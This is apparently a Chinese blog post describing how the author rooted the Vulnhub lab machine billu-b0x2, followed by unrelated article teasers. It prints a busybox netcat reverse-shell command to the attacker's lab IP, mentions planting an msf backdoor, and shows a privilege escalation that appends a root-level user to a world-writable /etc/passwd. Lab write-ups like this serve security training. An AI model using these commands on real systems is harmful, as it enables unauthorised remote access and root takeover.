10、billu-b0x2

难度 中

目标 root权限

首先确定靶机ip地址

netdiscover -i eth0 -r 192.168.189.0/24

kali 192.168.189.58 靶机 192.168.189.184

信息收集端口扫描

看到一个80和8080,先重点摸一下网站的内容

然后看到信息里有个robots.txt 首先就去访问一下

看到有许多不允许访问的,那必须要访问一下

先测试一下/user/register/ 路径下的文件上传的,测试了一下发现后缀名是白名单,绕过可能只能配合解析漏洞尝试了换行解析好像也不太行,另外我看系统是什么drupal可能有什么框架漏洞于是把xray给开上了没想直接扫出来

然后网上搜索一下对应的exp

直接命令执行了

既然已近突破了边界那么可以尝试进行反弹shell

试了一圈反弹shell的命令发现

busybox nc 192.168.189.58 7777 -e bash

可以反弹,竟然用的busybox

上去后本来想写个webshell的发现此目录我还没有写入的权限,只能在tmp目录下留个msf的后门

使用/bin/bash -i 升级一下shell

然后上传信息收集脚本做一下信息收集,一方面是观察有没有系统配置方面的提权漏洞,一方面也需要观察一下网站部署时留下的配置文件里面的账号密码已经一些可能管理员在家目录可能保存密码的文件

通过脚本我发现/etc/passwd是777的权限

说实话有点不敢相信真的有这么简单吗。。。

向passwd写入账号密码参考 llinux 写/etc/passwd文件添加用户-CSDN博客

在靶机上执行 openssl passwd -1 123456

生成MD5加密的密码

$1$X/L0r0Wp$SEinTv4kKFpDVAfoGcizD1

echo 'hack:$1$X/L0r0Wp$SEinTv4kKFpDVAfoGcizD1:0:0:root:/root:/bin/bash' >>/etc/passwd

写入之后使用ssh不知道为什么密码不正确还是怎么回事的登录不上。。。然后又创建了一个hack2用 openssl passwd 123456 生成密码但是任然无法ssh登录

使用/bin/bash -i 升级的shell 也无法使用su hack 切换身份,后面看了一下应该是这个shell不完全,使用

python -c "import pty;pty.spawn('/bin/bash')"

启用一个完整的shell然后su hack 输入123456 成功提权到root

其实我还尝试了直接修改passwd但是vim的编辑器会乱码。

        另外我也看了一下网上其他的打靶思路,好家伙原来正常的打靶流程竟然是主web渗透,用的任意文件读取加文件包含图片马的方式拿到webshell并且在网站的数据库配置文件中找到数据的链接账号和密码然后发现这个账号密码ssh也可以连接,流程也挺精彩的,不过论快还是没有我这种快,其实当我看到web网站有那么多功能点我就感觉需要在网站上花挺多时间了,不过我平时更倾向于红队的打点思路于是直接上工具梭拿到nday就突破边界进去了。

        打了这么多的靶机从一开始照着视频一步一步的执行到现在自己思考拿下靶机再看看其他人的思路也不为是很大的进步了。vulnhub的系列可能不会长久,后续可能会向tryhackme 或者hackthebox方向去追求更全的靶机,以及会开始着手红日靶机也就是Windows方面的靶场了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/388359.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C语言】数组和函数实践:扫雷游戏

扫雷游戏 1. 扫雷游戏分析和设计1.1 扫雷游戏的功能说明1.2 游戏的分析和设计1.2.1 数据结构的分析1.2.2 ⽂件结构设计 2. 扫雷游戏的代码实现(1)菜单menu函数(2)设计main函数(3)设计game函数(4…

华为od机试真题:求幸存数之和(Python)

2024华为OD机试(C卷D卷)最新题库【超值优惠】Java/Python/C合集 题目描述 给一个正整数列nums,一个跳数jump,及幸存数量left。运算过程为:从索引为0的位置开始向后跳,中间跳过 J 个数字,命中索引为 J1的数…

腾讯云短信服务的开通流程

目录 一、开通服务二、创建secretId和secretKey三、创建应用四、创建实名资质五、创建签名六、创建正文模板一、开通服务 从控制台进入短信模块,点击【开始接入】开通服务: 认证主体首次开通短信服务可获赠国内短信,免费试用: 二、创建secretId和secretKey 创建链接:…

创意无限:11个设计圈热议的UI设计灵感网站集锦

无论你是一个经验丰富的UI设计师还是一个新的UI设计师,拥有一些高质量、可靠的UI设计网站灵感库都能加速你的设计过程。借助灵感资源,您可以更快、更有效地启动该项目。与此同时,优秀的UI设计网站也能帮助您探索新的设计解决方案,…

个性化你的生产力工具:待办事项App定制指南

国内外主流的10款待办事项软件对比:PingCode、Worktile、滴答清单、番茄ToDo、Teambition、Todoist、Microsoft To Do、TickTick、Any.do、Trello。 在寻找合适的待办事项软件时,你是否感到选择众多、难以决断?一个好的待办事项工具可以大大提…

【C++BFS】802. 找到最终的安全状态

本文涉及知识点 CBFS算法 LeetCode802. 找到最终的安全状态 有一个有 n 个节点的有向图,节点按 0 到 n - 1 编号。图由一个 索引从 0 开始 的 2D 整数数组 graph表示, graph[i]是与节点 i 相邻的节点的整数数组,这意味着从节点 i 到 graph…

专硕复试线298/295!哈尔滨理工大学计算机考研考情分析!

哈尔滨理工大学(Harbin University of Science and Technology),位于哈尔滨市,是黑龙江省人民政府与国家国防科技工业局共建高校,入选“中西部基础能力建设工程”高校、国家“特色重点学科项目”建设高校、教育部“卓越…

MCU单片机GPIO初始化该按什么顺序配置?为什么初始化时有电平跳变?

GPIO初始化时有时钟配置、模式配置、输出配置、复用配置,那么在编写初始化代码时,到底该按什么顺序执行呢?如果顺序不当那初始化过程可能会出现短暂的电平跳变。 第一步,初始化MCU外设时,一般都需要先打开对应寄存器的…

【Qwen-Audio部署实战】Qwen-Audio-Chat模型之对话机器人部署测试

系列篇章💥 No.文章1【Qwen部署实战】探索Qwen-7B-Chat:阿里云大型语言模型的对话实践2【Qwen2部署实战】Qwen2初体验:用Transformers打造智能聊天机器人3【Qwen2部署实战】探索Qwen2-7B:通过FastApi框架实现API的部署与调用4【Q…

【Hot100】LeetCode—169. 多数元素

目录 题目1- 思路2- 实现⭐169. 多数元素——题解思路 3- ACM 实现 题目 原题连接:169. 多数元素 1- 思路 定义两个变量 一个是 count:维护当前元素的出现次数一个是 ret :维护当前元素 思路 遍历整个数组**①如果 count 0 **&#xff…

【TS】TypeScript中的接口(Interface):对象类型的强大工具

🌈个人主页: 鑫宝Code 🔥热门专栏: 闲话杂谈| 炫酷HTML | JavaScript基础 ​💫个人格言: "如无必要,勿增实体" 文章目录 TypeScript中的接口(Interface):对象类型的强大工具引言1. 接口的基本概念1.1 什…

APP抓包之 Burpsuite+MuMu模拟器12抓包

写在前面 高版本的安卓不能直接安装证书了,比较麻烦。步骤如下。 前置工作 安装adb https://blog.csdn.net/x2584179909/article/details/108319973 安装openssl https://blog.csdn.net/zyhse/article/details/108186278 adb配置环境变量,openssl下载…

如何用Python删除电脑中的重复文件?

在生活中,我们经常会遇到电脑中文件重复的情况。 在文件较少的情况下,这类情况还比较容易处理,最不济就是一个个手动对比删除; 而在重复文件很多的时候,我们很难保证把重复文件全部删完。 这里给大家带来了一个便捷…

【C++的剃刀】我不允许你还不会AVL树

​ 学习编程就得循环渐进,扎实基础,勿在浮沙筑高台 循环渐进Forward-CSDN博客 Hello,这里是kiki,今天继续更新C部分,我们继续来扩充我们的知识面,我希望能努力把抽象繁多的知识讲的生动又通俗易懂,今天要…

JavaScript递归菜单栏

HTML就一个div大框架 <div class"treemenu"></div> 重中之重的JavaScript部分他来啦&#xff01; 注释也很清楚哟家人们&#xff01; let data; let arr []; let cons;let xhr new XMLHttpRequest(); // 设置请求方式和请求地址 xhr.open(get, ./js…

leetcode958. 二叉树的完全性检验,层序遍历的巧用

leetcode958. 二叉树的完全性检验 给你一棵二叉树的根节点 root &#xff0c;请你判断这棵树是否是一棵 完全二叉树 。 在一棵 完全二叉树 中&#xff0c;除了最后一层外&#xff0c;所有层都被完全填满&#xff0c;并且最后一层中的所有节点都尽可能靠左。最后一层&#xff0…

NAS 软件大盘点:瞧瞧哪个被你遗漏了

很多人都听说过NAS&#xff0c;也有很多人正在使用NAS&#xff0c;而NAS用户通常需要安装一些软件来扩展其功能&#xff0c;毕竟NAS的功能实在是太多了&#xff0c;光是部署与调试就要耗费大量的时间&#xff0c; 小宝集合了NAS相关实用工具&#xff0c;无论是群晖、威联通还是…

华硕电脑怎么录屏?3个高效实用的方法

华硕电脑作为一款备受青睐的电脑品牌&#xff0c;拥有丰富的功能和工具&#xff0c;其中包括强大的录屏功能。然而&#xff0c;对于许多华硕电脑用户来说&#xff0c;如何利用这一功能可能会感到困惑。 本文将带您探索华硕电脑的录屏功能&#xff0c;为您揭示华硕电脑怎么录屏…

Web安全学习顺序:从零到精通的指南

随着互联网的迅猛发展&#xff0c;Web安全已成为一个日益重要的领域。无论是企业还是个人&#xff0c;都需要关注并提升自身的Web安全防护能力。对于初学者而言&#xff0c;如何系统地学习Web安全知识&#xff0c;掌握相关技能&#xff0c;成为了一个亟待解决的问题。本文将为你…

vue-cli搭建项目笔记

1. 在指定位置打开终端 2. 运行 指令 vue create xtx选择 vue2 等待创建完成。。。。。 大概5.52s完成 3.启动项目 进入 项目 目录 cd xtx 启动 yarn run serve 4. 访问 浏览器 访问 localhost:8080 5. 项目开发 清空项目 App.vue 注意&#xff1a;每一个vue组件中的…